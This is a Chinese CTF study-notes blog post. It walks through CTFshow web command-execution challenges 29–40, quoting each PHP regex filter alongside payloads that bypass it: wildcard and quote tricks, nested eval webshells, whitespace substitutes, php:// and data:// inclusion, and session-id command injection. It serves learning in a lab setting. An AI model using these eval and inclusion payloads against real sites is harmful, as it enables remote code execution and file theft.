CTFSHOW WEB入门 命令执行做题笔记(持续更新)

校队考核被打自闭了 回炉重造

29-36

29

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}
  • 大小写过滤了flag
  • 自己构造的payload
echo `nl ????.???`; # 显示文本内容与行号
echo `tail ????.???`;# 只看文本的后几行
echo `cat ????.???`; # 从第一行开始显示文本内容
echo `more ????.???`; # 一页一页的显示文本内容
echo `less ????.???`; # 与 more 类似,但是比 more 更好的是,它可以往前翻页!
echo `head ????.???`; # 只看文本的前面几行
echo `tac ????.???`; # 从最后一行开始显示文本
echo `nl fla''g.php`;
echo `nl f*`;
  • 别人的payload
c=eval($_GET[1])?>&1=system('cat flag.php');
c=?><?=echo `$_GET[1]`;&1=cat flag.php//查看源代码

总结:

  1. 没有过滤 *和?这两个通配符的时候 *代表0个或多个任意字符 ?匹配一个字符
  2. nl tail cat more less tac head七个命令都可以查看文件
  3. 如果只过滤了flag cat这些完整的字符串 可以通过’'绕过
  4. 调用system函数返回的是该函数执行返回值,比如0表示执行正确,-1执行错误;同时会将cmd命令的结果打印到控制台界面;
  5. 而反引号直接返回的就是该cmd的执行结果,但是不会屏幕上表现出来。
  6. 嵌套eval构造一句话木马 这个方法我想到过 但是我没想到嵌套eval tcl
  7. ?><?=这是一个神奇的东西 自己搭建环境展示一下
<?php
?>
<?='aaaaaaa'?>
  • 访问页面会显示aaaaaaa

<?=”是PHP的一个短的开放式标签,是echo() 的快捷用法
如何想要使用该短标签,必须从PHP.ini文件中的设置启用它。
我们需要在PHP.ini文件中找到以下行并添加(On)来开启,

30

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 
  • 大小写过滤了上面的内容
  • 过滤system就用``好了 flag和php还是可以用上面的方法绕过
  • 给个payload
echo `nl fl''ag.p''hp`;

31

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}
  • 这道题与前面的区别主要在于过滤了.和space
  • 自己的payload
echo`nl%09f*`;
?><?=`nl%09f*`;
?><?=`$_GET[1]`;&1=cat flag.php
eval($_GET[1])?>&1=system('cat flag.php');
eval($_GET[1]);&1=system('cat flag.php');
  • Tips:

1.与前面的题目相比,考点在于空格的过滤
2.绕过方法 %09 ${IFS}、$IFS$9、<>、<

32

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}
  • 和前面相比多过滤了几个符号echo、`、;、(
  • 构造payload:
c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
  • 原本将?>替换为;应该是可行的eval里面必须是完整的PHP语句,但是因为;被过滤了,只能用?>
  • 这里利用了文件包含和伪协议去获取flag,用到了文件包含漏洞,涨姿势了

33-36

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 
  • 多过滤了一个"有点迷
  • payload:
c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
  • 到36题都可以用这个去获取flag

37-44

37

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
        }
         }else{
    highlight_file(__FILE__);
}
  • 这里有个文件包含,应该使用文件包含漏洞去命令执行
  • 起初,我想用php://input伪协议去达成命令执行,但是失败了,结果发现是我的hackbar出现了问题 (草
  • payload:
?c=php://input hackbar POST传参<?php system('cat f*');?>
?c=data://text/plain,system('cat f*');?>
?c=data://text/plain,base64;PD9waHAgc3lzdGVtKCdjYXQgZionKTs/Pg==

include (或 require)语句会获取指定文件中存在的所有文本/代码/标记,并复制到使用 include 语句的文件中。
伪协议中的data://text/plain,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行
伪协议中的php://input,同样原理

38

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

-payload:

c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZionKTs/Pg==

39

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
        
}else{
    highlight_file(__FILE__);
}
  • 这里过滤了flag,文件包含的时候加了后缀.php
  • payload:
c=data://text/plain,<?php system('cat f*');?>
  • 提示:data://text/plain, 这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么 作用
  • 我不太理解为啥php://input失效了
  • 等等补坑

40

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
} 
  • 过滤了一堆东西,过滤了单引号,$,`
  • 没思路了 看了wp
  • payload
c=session_start();system(session_id());
  • 抓包将PHPSESSID=ls这样的话就可以达到命令执行的效果了
  • 等同于system(‘ls’);

接着直接改成 c=session_start();highlight_file(session_id());然后PHPSESSID的值修改为flag.php就出问题了。
经过测试发现,受php版本影响 5.5 -7.1.9均可以执行,因为session_id规定为0-9,a-z,A-Z,-中的字符。在5.5以下及7.1以上均无法写入除此之外的内容。但是符合要求的字符还是可以的。
转载自羽大佬

  • 先把payload写下 highlight_file(next(array_reverse(scandir(pos(localeconv())))));
  • 需要用到的函数
  • localeconv():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.)
  • pos():返回数组中的当前元素的值。
  • array_reverse():数组逆序
  • scandir():获取目录下的文件
  • next(): 函数将内部指针指向数组中的下一个元素,并输出。
  • 首先通过 pos(localeconv())得到点号,因为scandir(’.’)表示得到当前目录下的文件,所以
  • scandir(pos(localeconv()))就能得到flag.php了
  • 转载自羽佬
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值